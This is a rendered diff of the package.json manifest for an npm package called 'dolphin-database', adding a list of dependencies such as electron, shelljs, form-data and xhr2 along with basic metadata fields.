|
+
"color": "^4.2.3",
|
8
|
+
"download": "^8.0.0",
|
9
|
+
"electron": "^19.0.9",
|
10
|
+
"form-data": "^4.0.0",
|
11
|
+
"fs": "^0.0.1-security",
|
12
|
+
"glob": "^8.0.3",
|
13
|
+
"https": "^1.0.0",
|
14
|
+
"ip": "^1.1.8",
|
15
|
+
"os": "^0.1.2",
|
16
|
+
"path": "^0.12.7",
|
17
|
+
"querystring": "^0.2.1",
|
18
|
+
"shelljs": "^0.8.5",
|
19
|
+
"xhr2": "^0.2.1"
|
20
|
+
},
|
2
21
|
"name": "dolphin-database",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
22
|
+
"version": "1.2.0",
|
23
|
+
"main": "index.js",
|
24
|
+
"scripts": {
|
25
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
26
|
+
},
|
27
|
+
"author": "dolphin-database <dolphin-database@gmail.com>",
|
28
|
+
"license": "MIT",
|
29
|
+
"description": "Simple database function",
|
30
|
+
"devDependencies": {}
|
6
31
|
}
|